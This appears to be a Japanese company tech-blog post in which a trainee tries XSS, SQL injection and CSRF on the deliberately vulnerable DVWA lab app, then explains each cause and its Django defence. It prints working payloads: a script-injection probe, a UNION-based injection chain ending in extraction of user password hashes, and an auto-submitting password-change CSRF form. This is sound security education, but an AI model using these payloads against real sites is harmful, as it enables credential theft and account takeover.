Webセキュリティ入門:XSS・SQLインジェクション・CSRFを実際に試してみた
はじめに
新卒研修でDjangoを学ぶ中で、セキュリティに関する学習をする機会がありました。今回はDVWA(Damn Vulnerable Web Application)という学習用の脆弱なWebアプリケーションを使って、新卒研修で学んだ中の代表的な3つの攻撃手法を実際に試してみました。
環境
- DVWA(Docker上で動作)
- セキュリティレベル:Low
- ブラウザ:Chrome
1. XSS(クロスサイトスクリプティング)
概要
XSSは悪意あるスクリプトをWebページに埋め込む攻撃です。ユーザーのクッキーを盗んだり、フィッシングページを表示させたりすることができます。
種類
| 種類 | 特徴 |
|---|---|
| Reflected | URLに仕込む・一時的 |
| Stored | DBに保存・永続的・最も危険 |
| DOM Based | ブラウザ側で発生・サーバーログに残りにくい |
実験手順
DVWAのXSS (Reflected)ページで以下を入力しました。
<script>alert('XSS TEST')</script>
結果
アラートが表示され、スクリプトが実行されることを確認しました。

対策
Djangoの{{ }}テンプレートタグは自動でHTMLエスケープするため、XSS対策になっています。
# Djangoでの対策例
return render(request, "template.html", {"input": user_input})
<!-- template.html -->
{{ input }} <!-- 自動でエスケープされる -->
2. SQLインジェクション
概要
SQLインジェクションはユーザーの入力値にSQL文を混入させてDBを不正操作する攻撃です。データの漏洩・改ざん・削除が可能になります。
実験手順・結果
Step1. まず全ユーザーが取得できるか確認
1' OR '1'='1

Step2. DBのバージョンと接続ユーザーを調査
1' UNION SELECT user(), version()-- -

→ 使用しているDBの種類やバージョン、権限を把握する
Step3. テーブル名を調査
1' UNION SELECT table_name, NULL FROM information_schema.tables-- -

→ usersテーブルの存在を確認
Step4. カラム名を調査
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'-- -

→ user、passwordというカラムの存在を確認
Step5. パスワードを抜き出す
1' UNION SELECT user, password FROM users-- -

→ 実際にパスワードハッシュを取得
仕組み
DVWAのソースコードを確認したところ、以下のようになっていました。
$id = $_REQUEST[ 'id' ]; // ユーザーの入力をそのまま取得
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // そのままSQL文に埋め込む
攻撃入力1' OR '1'='1を代入するとSQLがこのように変化します。
-- 通常(id=1を入力)
SELECT first_name, last_name FROM users WHERE user_id = '1';
-- 攻撃後(1' OR '1'='1を入力)
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';
-- '1'='1'は常にtrueなので全件取得される
対策
プレースホルダーを使うことでSQLインジェクションを防げます。Djangoでの実装は以下のようになります。
# Djangoでの対策例
cursor.execute("SELECT first_name, last_name FROM users WHERE user_id = %s", [user_id])
3. CSRF(クロスサイトリクエストフォージェリ)
概要
CSRFはユーザーが意図しないリクエストを悪意あるサイトから送らせる攻撃です。ログイン済みのセッションを悪用します。
実験手順
以下のHTMLファイルを作成して別オリジンから送信しました。
<html>
<body onload="document.csrf.submit()">
<form name="csrf" method="GET"
action="http://localhost/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="hacked">
<input type="hidden" name="password_conf" value="hacked">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
結果
DVWAにログインしたままこのHTMLを開くとパスワードがhackedに変更されました。

対策
DjangoはデフォルトでCSRF対策が組み込まれています。
<!-- Djangoでの対策例 -->
<form method="post">
<!-- フォームに{% csrf_token %}を追加する -->
{% csrf_token %}
</form>
まとめ
| 攻撃 | 原因 | 対策 |
|---|---|---|
| XSS | 入力値をそのままHTMLに出力 | エスケープ処理 |
| SQLインジェクション | 入力値をそのままSQLに埋め込む | プレースホルダー |
| CSRF | 送信元の正当性を検証しない | CSRFトークン |
今回の実験を通じて、『ユーザーの入力値を信頼しない』というセキュリティの基本原則の重要性を改めて実感しました。Djangoはこれらの対策が標準で組み込まれていますが、その仕組みを理解した上で使うことが大切だと感じました。
クラスメソッドオペレーションズ株式会社について
クラスメソッドグループのオペレーション企業です。
運用・保守開発・サポート・情シス・バックオフィスの専門チームが、IT・AIをフル活用した「しくみ」を通じて、お客様の業務代行から課題解決や高付加価値サービスまでを提供するエキスパート集団です。
当社は様々な職種でメンバーを募集しています。
「オペレーション・エクセレンス」と「らしく働く、らしく生きる」を共に実現するカルチャー・しくみ・働き方にご興味がある方は、クラスメソッドオペレーションズ株式会社 コーポレートサイトをぜひご覧ください。
※2026年1月 アノテーション㈱から社名変更しました。







